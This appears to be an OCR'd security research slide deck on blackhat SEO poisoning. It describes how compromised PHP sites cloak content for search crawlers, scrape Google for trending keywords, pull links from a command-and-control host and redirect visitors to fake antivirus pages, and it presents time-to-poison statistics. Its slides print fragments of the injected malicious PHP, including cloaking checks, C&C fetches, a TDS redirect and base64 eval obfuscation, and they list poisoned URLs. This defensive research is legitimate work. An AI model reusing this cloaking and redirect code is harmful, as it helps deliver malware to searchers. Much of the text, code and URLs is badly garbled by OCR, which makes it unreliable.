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Logic flow of a BlackHat'SEO Attack

Altacker

eInfiltrate host/site

Infects a victim
domain using PHP
web pages

Hosts script o redirect 1o
malicious domain

Inject malicious code

*Query Google for key words G:\) Gt
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*Query Google for key word content

GET “Trend
keywards', FakaAy
campaign site”

ictim.com www.bbonews2009.com

(on Apache/PHP)
GET Reqguast
(victim .com?g="keywor)

Client does a google Refemer: Google.com

*Get indexed by Google i, R,

eRedirect visitor

N ~

*Tally user via multiple hops/redirectors &~ g S

(Fake AV) www.homelandsecurilysafety.com

«Serve malware at landing site
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Components of the Attack

Victim

Legitimate Website — compromised
Scripting Language

C&C Website managing gueries
Search Engine

Bad Actor

NEED Images here
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Demo Video

) alexander noyes girlfriend - Google Search - Mozilla Firefox
File Edit ‘Wew History Bookmarks Tools  Help
6 - c ot " http: fhanaw, google .comfsearchiclient=firefox-afrls=org. mozila%3Aen-U3%3a0f fidaldrhannel=s&hl=en&source=hp 7 ~ -' s V.

|£| Most Wisited |_'] Getting Started |5 | Lakest Headlines

-'l alexander noyes girlfriend - Google ... - -

Web Images Yideos Maps MNews Shopping Gmail more v Yveb History | Search settings | Signin
GOUS[E |a|e><ander nowes girfriend | [ Search ] Advanced Sesrch
Web [# Show options.. Results 1- 10 of about 168,000 for alexander noyes girlfriend. (0.23 seconds)

Alexander Noves Girlfriend

Alexander Mcgueen Lady Gaga Shoes - Alexander Noyes Girlfriend - Righteous Kill - Henry
Louis Gates Police Report - Carter Ernmarnt 3 Virtual Universe . ...

wewdf1 946, comizkb, php?in=alexander®%20noyes%%20girlfriend - 8 hours ago %

Alex Noves Online | First and Biggest Source for Eventhing ...

YWelcome to Alex Noyes Online. We are the first site on everything Alexander Noyes of
Honor Society. Enjoy the site and come back soonl ...

alexnoyesonline.com/ - Cached

Alex Noves Girlfriend

Pigeon Breast Surgery - Quadruple Bypass Recovery Time - Hooded Footie Pajamas For
Adults - Alexander Noyes Girlfriend - David Brenner Biography . ...

forestcatsusa. comfynr php?topic=alex%20noyes%%20girlfriend - 8 hours ago

Alex Noves Girlfriend

If ry girlfriend behaved like Demi and twittered rme about sleepovers | would . . Alex is like
evaw, he's such an asshole, Alex Noyes (| dont think they . ...
fullcanvasjacket. comshgn. php?a=alex%20noyes%20girlfriend - 8 hours ago
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Search Engine Optimization

Positive weights

st Creating Relevance Organically

Page title
e Structured content

Inbound links

Authority Unique Keywords

Keywords

B Age Interesting Content
Trust
Backlinks (Inbound Links)

Duplicate content
High bouncerate

SE spam
Negative weights

Source: SEO Warrior
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Google Market Share

UK Search Engine Market Share (Jan 2010)

US Search Engine Market Share (Dec 2009)

Bing Others

Yahoo 3% 2%

== —

Source: Hitwise.com
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Google Trends

Sign in to see and export additional Trends data.

GO{nge ‘trends krispy kreme] Search Trends

Tip: Use commas to compare multiple search terms

Searches Websites Allregions E |Al\yaars E
® krispy kreme

Search Volume indax ie Trands Krispy Kreme 2Q Profit Falls 50 Percent
Ocala Star-Banner - Aug 26 2004

Krispy Kreme Posts | oss
New York Newsday - Nov 22 2004

‘] Kiispy Kreme to restate
Globe and Mail - Jan 4 20056

D) CEO Qusted at Krispy Kreme
MNewsFactor Network - Jan 18 2005

|E| Krispy Kreme Told to Restate Past Eamings
News 14 Carolina - Aug 10 2005

(F| Krispy Kreme CEO resigns

Bizjournals_com - Jan 7 2008

Rank by | krispy kreme j More news results »

Regions Cities Languages
1. Australia 1. Raleigh, NC, USA 1. Tagalog
2. Philippines 2. Charlotte, NC, USA 2 English
3. United States 3. Nashille, TN, USA 3. Japanese
4. Singapore 4. Melbourne, Australia 4. Spanish
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BlackHat' SEO Techniques

*Keyword Stuffing
*Doorway Pages

*Duplicate Web Pages

Watch Out For SEQ Companies Who Offer

0L|nk Farms Xegular website submissions to hundreds of search engines
Meta tag optimization
Reciprocal linking
*Reciprocal Links Cloaking
Utilization of link farms
Duplicate web pages
*Hidden Content Doorway pages

Keyword stuffing

*Cloaking

Source: http://www.seosearchengineoptimizationseattle.com/index.html
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Types of BlackHat SEO

Event-Driven Mass Keyword
Need bullets here Need bullets here
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Research Methodology

Google API

One of the tools we needed was a Google search API for collecting the hourly trend keywords in an automated way. For this, we used the pygoogle[8] API.
pygoogle is a python wrapper for Google search. It uses the Google AJAX API, because of which, it is limited to only 64 results. We also used pytrends[9] to get
Google’s Hot trends. pytrends is a python wrapper for fetcing Google trends.

Python

Python was the language of choice most of the automation. As a lot of our internal codebase already uses python, it was easy to integrate and build on top on that.
We used python modules for Google search and Google Trends, to collect hourly stats.

HoneyClient

One of the most useful tools for analysis was the pure python Honeyclient that we developed. It emulates Internet Explorer 7, understands Javascript and many
ActiveX exploits. We feed URLSs to the honeyclient to quickly analyze the attack from source to the final landing site. This has been a very useful and handy tool. It
supports a huge list of User-Agents, including search bots.

Owned domain Data

Using these tools, we started collecting poisoned domains, keywords and other details in an automated way, which are discussed in the following sections. The data
is available for public consumption at seo-research.appspot.com and www.maltrax.com:8080.

Analysis techniques

To analyze the SEO poisoning, we took two different approaches. The First one is enumerating poisoned domains and URLSs based on trending Google keywords.
The Second is to infiltrate the Blackhat SEO cycle to collect information directly. The two approaches are discussed below.

Trend Keyword acquisition

The earliest searching engine poisoning that we observed was almost completely based on Google Trends. The attackers would enumerate trending Google search
keywords and use them to build new pages that would eventually be indexed by Google. Fetching new keywords is done once every 10 minutes.

Using the same approach, we started enumerating trending Google search keywords every hour, using pytrends. We would then use pygoogle to search Google for
these keywords, collecting the top 64 results. We also searched for the previous day’s trending keywords and saved those results as well. This data was very useful
in determining the time to poison (TTP).

Blackhat SEO reconnaissance

Over time, we started to notice that the attackers gradually started to use more keywords for poisoning URLS than those available from Google trends. To collect all
such keywords, we took a different approach. We acted as a search engine.
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Anatomy of an Attack
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Injected PHP Logic Flow

http:/fwww.victimdomain.com/random.php ?key="Popular Keyword'

PHF page
requested

Hedirect 1o
cnn.com

MNo

mKdir <dinecion=

Search engine?

Yes

landing she oidef
than 10mins?

Referar is Search
engina?

No =

Yes

1. Connect to C&C Server 1o get new Inks
2. Soarch goodgle for the keyword and screan
scraps the rasults
3. Generale the final page and save it

dons
<keyword=html exist
on disk?

generated

O
c l o [ o= &
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Who are you and wheredid you come from?

it (SLristr($_SERVER|HTTP_USER_AGENT"], " "msnhot”)

stristr($ SERVER["HTTP USER AGENT"1,"googlehon™)
User Agent CheCk 1 stristr (3_SERVER["HTTP_USER_AGENT"] , "vahoo"))
sagarchengine—1;

if
skristr (3_SERVER ["H‘I’FP_LISER_AGENT"] y 'wia translate.google.com™)
sEristr(3_SERVER["HTTP_USER_AGENT"],"Google WAP Proxy')

User Agent CheCk 2 W(i SERUER[ HTTP_USER_AGENT"],"Google CHTML Proxy™))

Sip=sprintf ("%u",ip2long(3_SERVER["REMCTE_ADDR"]));

if ((8ip>-2639510052)&&(%ip<—3630558113))%searchengine—1;
if (($ip>=1123631104P&&($ip<=1123639295)) $searchengine=1;
if (($ip>=1089052672)&&($ip<=1083060863)) $5earchengine=1;
if ((3ip>=1078218752)&&(3ip<= 10?822[];9‘:))@@@,“5;@%,@@ L;

Source |P CheCk 1:1: ((3ip>=1078220802)&&($jp<=1078222031) ) %5earcl

if (($ip>=1087381503)&&($jip<=1087382952)) 3583 i
if (($ip>=3512041472)&&($ip<= 3513D455ﬁr))$mmmmm 1;
if (($ip>=1113980923)&&($ip<=1113985023))$searchengine=1:
if (($ip>=1208926203)&&($ip<=1203942591)) $searchengine=1;
if (($ip>=1249705984)&&($ip<=124977151%))$5earchengine=1;

G
technologies : |nternet Security Copyright © 2009 CA. All rights reserved. 15 HCL



Google Screen Scrape

ff in @ Keyword — A keyword for which more info will be collected from Geogle. This info is going to be used te index malicious links.
ff in : Realted - An array of URLs got from the C&C (=random=.txt)
ffout : Generated Page
function gen_page{$keyword,$related){
global %$related_keys;
Ff Get 188 results
surl="http://www.google.com/search?hl=en&client=opera&knum=100&g=".urlencode({$keyword)."&lr=1ang_en";
tresult=crawl_page($url);
/f Example match:
Jf =div class="s"=The 0fficial Website of the =em=NCAA</em=, partmer of CBS College Sports Networks, Inc.
/f The most comprehensive coverage of =em=NCAA=/em> Athletics on the web.=br=
ff 1. Remowves '<em>' - This is the highlighted search keyword in the gooagle results page
ff 2. Removes 'em=' and 'b=' - removes more formatting.
f/f 3. Removes ' ' - replaces with '
preg_match_all{"#=div class=\"s\"=(.%)=br=#U", Sresult, $result_preag);
ts=arrayl);
for ($i=0; $i<count{$result_pregll]);: $i++){
ssnippet=trim{$result_preg[1][$1]);
$snippet=strip_tags({%snippet, '=em=');
4snippet=str_replace('em=', 'b=',%snippet);
$snippet=str_replace("..."," . ",$snippet]);
$snippet=strip_tags(%snippet);
Jf Push all the strings into an array - %s
array_push(%s,%snippet);
/f echo $snippet."\n";
13

shuffle(s$s); /f Shuffle an array
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Dynamic Content Generation

f/ Else, Generate a better random value
$br=mt_rand(0@,9999);

f/ Build URL based on the Random value and crawl_page() it
Surl="http://rdhiphop.com/tr/links/$br.txt";
$x=crawl_page(Surl);

f/ The result 15 a One-Per—Line URL

$rel=explode("\n",$x);
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Generated

Content
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Google Trends BlackHat SEO URLS

http://buzzfishlunacy .com/ twppu .php? in=earthquake gpril 4 2010 gg;$;ggg$@

http://hildebrant.info/3iygs.phpipage=earthquake baja Bpril 4 2010
http://gotpolygons.com/ipAif.php?t=earthguake gpril 4 201 i
http://ggmar keting.biz/ vh.php?go=california earthquake 4 2010

http://garrysgol fshopdcomy yorhi .php?in=6. 9 earthoquake mexico
http://goodnewsbiblekids.com/nthei.php?ad=earthquake baja \
http://mitchelldeancelling.comn/ cgmap .php? page=eart
http://gontsharuk.com/wxkly.phpla=earthquake baia
http://goldsilverbull icnaire.com/ygofo.php?do=eart
http://gosteelit. com/eczzs.phpfad=california earth
http://garrysgolfahop.com/ yogrhi .php?in=3an diegnp earthgua =
http://ilecn. com/ lgnmz .php?go=earthqueke baja california mexico
http://gontsharuk.com/wxkly.php?a=earthquake gpril 4 2010 los ggg;;;g
http://hockeyinke lowna.com,/phpvu.php?sell=earthquake gpril 4 2010
http://mitchelldeancolling . com/ ogmap .php?page=6.9 Earthquake
http://highl andsvierawest.com/whvce.php?topic=earthguake gpril 4 2010 1
http://goodihost. com/naklz ..php?go=earthquake balg g;;;;g;gkg gEEil 4 201
http://hoaspitalityheroine. com/ahgfi.phpm=earthquake baja zalifornia 201
http://www.highozone. com/mjrjt.php?sell=earthquake bhaliz saliforniz april 4 2010
http://gosteelit. com/eczzs ..php?ad=earthquake bala californis 2010

http://highl yoombustibleproductions. com/gyybm. php?in=san dieqgo earthquake gpril 4 2010
http://www.hiromii.net/gtjyb.php?on=earthoguake gpril 4 2010 galiforniaz.
http://djdannywayne.con/btwmp.php?ad=earthouake gpril 4 2010 galifornia
http://grafikchaos.com/alrg].php?in=earthquake bajza california aopril 4 2010
http://futureshape.net/uoccgb.phpfoff=earthoguake gpril 4 2010

http://debtministry.org/giwho.php?in=earthoguake gpril 4 2010 los gngeles,
http://hippotank. com/dvoix.php?do=earthquake baja californis gprpil 4 2010
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Choaosing a landing site

if (ssearchengine){
ob_start("ob_gzhandler"); J/Turn on output buffering
tresult=get_page(st);
echo Sresult;

}else{

if (is_search_engine(s_SERVER[“HTTP_REFERER"])){
Stds=trim{get_tds());
if (Stds=="")$tds="syeB28.xorg.pl"™;
surl="http://$tds/in.php?t=cchd=21-85-2010_t_22_@9%h=%5x1&p=".urlencode {($_SERVER["HTTP_REFERER"]);
}else{
Surl="http:/fcnm.com";
}

header("Location: $url");exit;

exit;

G
technologies » |nternet Security Copyright © 2009 CA. All rights reserved. 20 HCL



Landing Site Payload

Web Images Yideos Maps MNews Shopping Gmail more ¥

GOUS[Q (freeze fresh spinach

Microsofl Internet Exploner

2

Web (¥ Show options...

YWhat to do with fresh spinach and frees
4 posts - 3authors - Last pogt B
| came across a 1.5 1b bag
into some tupperware and po |
forums. lowcarber.orgfarchivefindex phpit-2308

| I Search ] Advanced Search

Warmning |1l Your compuber conkairs various signs of viruses and makware programs presence. Yo system requines mmediste snki
viruses check! System Security well perform a guick and free scanning of your PC for vineses and malicious programs.

(= 3

J

Carel

J

How do you freeze fresh spinach? - ¥ahoo! Answers

It's no surprise that when fresh, pre-packaged spi... .. The frozen spinach we huy in the
supermarketfreezer department has been "flash-frozen” almost...

answers yahoo comfguestionfindex?qid... - Cached - Similar -

Article: Three fresh ideas for frozen spinach; This freezer staple ...

Free atticle ahout Three fresh ideas for frozen spinach; This freezer staple delivers the
same nutrients as..' at AccesshyLibrary.com.

e accessmylibrary.comi. fsummary_0286-38058448_[TM - Cached - Similar -

How to use up Fresh Spinach « Frugal Recipes

| throw thern in the freezer until we need a new package opened. ... How to use up Fresh
Spinach. Friday, August ¥, 2009 — Shannon Buck ..

frugalrecipes wordpress. com’. thow-to-use-up-fresh-spinachy -

How to bake Panini with a Frozen Pizza and Fresh Spinach | eHow.com
Allyou need is a frozen pizza in the freezer and fresh spinach leaves in the fridge, and you
can bake a panini-like pizza sandwich in no time. ...

g Siall

X
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Obfuscation Techniques

<?eval (base6d decode ("JGeSMTIROYRLPWV4cGrRVIGUoIj2iLCIxN] 2zMT240T24MT25Mz=2z0D=22Mj22MD
s0NT=zzHD=SMI=xHj=sy0ToMIzzHj2400=2002MT s SMT 24MD=y0zExNj sxMTUTMTEZCzEXNT = SM=z2xM=2200
ayNzayNDaxMDasyODayMzayNDayMDayODa4MT 25Mz2=0D232Mj 22MD20NT 2 zNDatMT =2xNj2y0Ta5MT =zHj =2 4MD
22NjsrMIYTMTELICzkz0zETHzI THI g TOTMTMzg THD I THIATNDM THDc THJATHDM TMz070TETHDE THDU THDU THD
ETMzg7HDETHTOTHDITHDUTOTE TM=zY TH Y TMTE20zEXNT 35Mz3xMT sy0DsyMT syNDexMzsy0DsyOT 220D 20D

<?eval (basefd decode ("JIGaSHT IxOyReERVEcCxvIGTolj=ilCIxNj=sMT = 40T = 4MT a5z = x0D=2Mj = ZMD
= ONT=zHD=SHT 2§ = yOT = SHT sal3 2 20022002 5MT = 5MT = 44D yO=Exl § sxMTUTMIEZCsExNT s 5Hz saMz 220D
= yHzsyHD=xMDs yOD= yHa s yHDa yHD = yODs 4¥T 554z 22003 245 5 2D ONT = sHD= SMT 3xN3 3 yOT s 5MT = M3 = 44D
= 2N =xMTYTMIE 10k s0ETHa 176 g7OTH T¥ag TRDI T A THOM TN D e TH § A THDMT M= QTOTE THDk TRDU TRDUTHD
= E7M=zgTHDk FRTQTHDITHOTUTCTE THa Y THS ¥ TMTE 202 ExiT = 54z =T = 300 = T = yND =3z = yOD =0T = 200 =x50
Y B aS e 6 4 E n C O d I n fo r =y ODmwDzEwla Y402 100z xd sExla I 00zATO0ETO0ATH ¥ THTE 20 ExNT =T Y THTE 1 OatuOaE yOa T a0z 120z
EzOzEZ0zIy0sIzOsgS0sEZ0sEwlsM40zEwlzsI40sI002ExDsI20zE30sM 402140z Is0sMwlzsEZ0sIzlsI40s
g:szkzOzEszIQOzVJcquHOzITODkT!{IE‘OzEm sxMT I 7CTM7MTAT 'TMLE 7k TMLcTMag TMjgTM]j
MTHzA THTY THiMTH g THag TH ¥ THT o TH g TH; ¥ THT g".' fag THT g7M g THD =iy =odT = yOT s 40T=20D

= 40T =y HD=xT =T = y NI Ix0z1402k002gl0ek00sATHI QT
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From the 'Users Vantage Point

*Keyword Search
*SERPs Returned
*SERP Selected

302 Redirect

*Redirect

Browser Minimizes

SERPs returned

SERFP Selected

*Pop-up Warning

*Fake Scan Page

Keyword Search

Download
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Findings
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TTP = Haiti Earthquake

Scale is based on the average worldwide traffic of haiti earthquake in 2010. Learn more

haiti earthquake =——— 00

5l A L"l Valume indax Gooagle Trands

First Foisoned SERF

D} {g]

Apr 2010 Jul 2010 Oct 2010
1 I I I I I 1 | I

*Google Trend volume peaks on January 15, 2010.

First poisoned URL identified via Google Search was January 14, 2010
*Event transpired on January 12, 2010.

*TTP = 48hrs
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TTP = Masters Golf Tournament

Scale is based on the average worldwide traffic of masters golf tournam... in Apr 2010. Learn more

masters golf tournam... =———— g0

Search Voldme indax Goagle Trands

.50

First Poisoned SERF

| | | | | | | | | | | | | | | | | | |
Apr 4 2010 Apr 11 2010 Apr 18 2010 Apr 25 2010

Ma data available

*Google Trend volume peaks on April 8, 2010.

First poisoned URL identified via Google Search was April 7th at 23:00hrs ET.
*Event transpired on April 7, 2010. (Par 3 tournament initiated event)
oTTP=11hrs
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TTP -~ Kendra Exposed

Scale is based on the average worldwide traffic of kendra exposed in May 2010. Learn more

kendra exposed =———— 00
Saarch Volume index Gooagle Trands

.50

5.00 First Poisoned SERP

May & 2010 May 16 2010 May 23 2010
| | | | | | | | | | | | | | | | | | | | | | |

*Google Trend volume peaks on May 28, 2010.

First poisoned URL identified via Google Search was May 26th at 15:00hrs ET.
*Event(news broke) transpired on May 3, 2010. Story resurfaced on May 26, 2010.
*TTP =23 days (from original event)

*TTP =15 hrs (from secondary event)
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TTP - Yeardley Love

Scale is based on the average worldwide traffic of yeardley love in May 2010. Learn more
yeardley love =———— 00

Search 'v-:,-.;,,} ndax Google Trends
6.00

First Poisoned SERP

*Google Trend volume peaks on May 4, 2010.

First poisoned URL identified via Google Search was May 4th at 21:00hrs ET.
*Event(news broke) transpired on May 3, 2010.

*TTP=31hrs

G
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TTP -~ Adam Wheeler

Scale is based on the average worldwide traffic of adam wheeler in May 2010. Learn maore
adam wheeler =—— 100
Search Yaolumea indax Google Trends

150
First Poisoned SERFP

10.0

5.00

| | | | | | | | |
May 8 2010 May 16 2010 May 23 2010

*Google Trend volume peaks on May 19, 2010.

First poisoned URL identified via Google Search was May 18th at 16:00 hrs ET.
*Event (news broke) transpired on May 17, 2010.

*TTP =24 hrs

G
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Google Trend SEO Stats

Poisoned URLs - Total

April 157612
May 19904
Poisoned URLs - Unique

April 22669
May 2131
Poisoned Domains - Unique

April 2682
May 848
Poisoned Keywords - Unique

April 3174
May 1168
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Image Poisoning

Web |mages Videos Maps News Shopping Gmail more v

GO« )8[(’.'

*3 Everything
= News
Images

il videos

¥ More

Any time

Latest
Past week

All results
Sites with images

* More search tools

X

victoria duffy Search
About 593,000 results (0.57 seconds) Advanced search
News for victoria duffy

Dennis Hopper banned wife from his funeral- report - 5 hours ago
The funeral took place last Thursday in Taos without Hopper's T-year-old daughter after

her mother, Victoria Duffy, refused to comply with Hopper's demands. ...
New York Post - 50 related articles »

Dennis Hopper's wife Victoria Duffy grappling for chunk of estate ... -
New York Daily News - 848 related articles »

Images for victoria duffy - Report images

& . (IS

s.com.vefful.phplg=victoria-du

Victoria Duffy

Dennis Hopper married Victoria Duffy in Boston, Massachusetts at the Old.. ... Dennis
Hopper: Create (or Die) (2003) (as Victoria Duffy Hopper) ... Herself ...
www.imdb_com/name/nm0240629/ - Cached - Similar
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Attack Vectors

5 Joomilal DreumHus’r

@ WORDPRESS.ORCG

G
technologies i Internet Securlty Copyright © 2009 CA. All rights reserved. 32 HcL




Contributing Factors

Google Type-ahead... now
“Google Instant”

— Possibly “leading the jury” Go ;_,-gle

Localization of Trends -

adam whesler harvard
adam whealker harvard hoax
adam whesler design

— Bad Actors don’t have to S hioobr vl

adam wheeler facebook

localize content spaskobusselmie A9

adam whesaler myspace
adam wheeler wrestling

Google Search | 'm Feeling Lucky
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Conclusion

Web Images Yidtos Maps Mews Shoppng Gmail mang v

GO L 18 le adam wheeler harvard

About $55,300 rewets (935 secosda)

B T —— 9=} 3]

%, Windows Performance Center
Mako your PC work fastos
Scanning finish, recommend fix all errors
]

il wehich mary lead
ERATE 11X 1% [ar-

*1 Evenything Adam Wheeler Harvard
& Hews May 18,2010 .. In Vit Pols Nows: Douchobag Charged For Finaging s Way o
o S HBW d " Hm \MM@IBI ha Back to the Story. Adam Wieslar 'I’K,
N deos re3 s evalyn comipaigs kosadam-wheeler-harvard
= Mare Adam Wheelar Harvard!
Way 18, 2010 _.. PHOTO! Here % a picture of Adam Wheeler of Harvard University. Adam
Aary Hinee wnmlortmd his: Harvard education; he evan faked his admissions
Latst U5/18/adam r-harvard
Patt 2 whike UBTIATE: Falsiies on Resume Hint at Adam Wheeler's Web of Lies ...
=/ Misre sarch tools May 18 2010 ... A closer axamination of a resume dratted by former Harvard student Adam
8. Whoslor sevks mcmsisiancis in ine wih toco chargestht ..
oo Ehose harvard &

UPDATE: Adam Wheeler Case Raises Ouestions About Admissions .

¢ former Harvard student Adam B. Wheeler dluded the
|1|| trous Hnlvand “alrgr admissions offce has |m S0

W 1 harvard & vard-wheeber-school-nassinan’ - Cached

News for adam wheeler harvard

" Thiz canl be gur Adam Whesler
Hdnm Wheeber () and ligh school classm enats Erect Portes " paaed il’ill’hul .
Halunl ahes s Sacoming the pattem of decei, axpalied Whele in Octobar .

Videos for adam wheeler harvard

- ncui Whesler Arscnmant Accussd Harvned chaat Adam
& 2 m 010 Wheslaf pleads 001 .

Damaed cabengen Acton
3 o [y M bty el o Pl
S hard i P ercblors.

Scale is based on the average worldwide traffic of masters golf tournam... in Apr 2010. Learn more

masters golf tournam.., =100

Recommended: o To o bttt ot
o — Search Volume index Goagle Trends
=y

Webpage download speed is Medium. Dc | 7.50
ImtErmecane retork coneon BT

Becmmendod: Dick *Fin o8 bufton b fx

First Poisoned SERF
e

Y ][ () S oy )y [ o |y [ oy B |
Apr 4 2010 Apr 11 2010 Apr 18 2010 Apr 25 2010

Nao daia available

@ Use of Google Trends Keywords can produce low TTP and high victim count

@ No bias shown towards the use of Google Trends Keywords

® Mass-Keyword SEO equally capable and in greater use than Event-Driven SEO

@ Significant drop off identified in the volume of poisoned Google Trend SERPs since

April
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Questions
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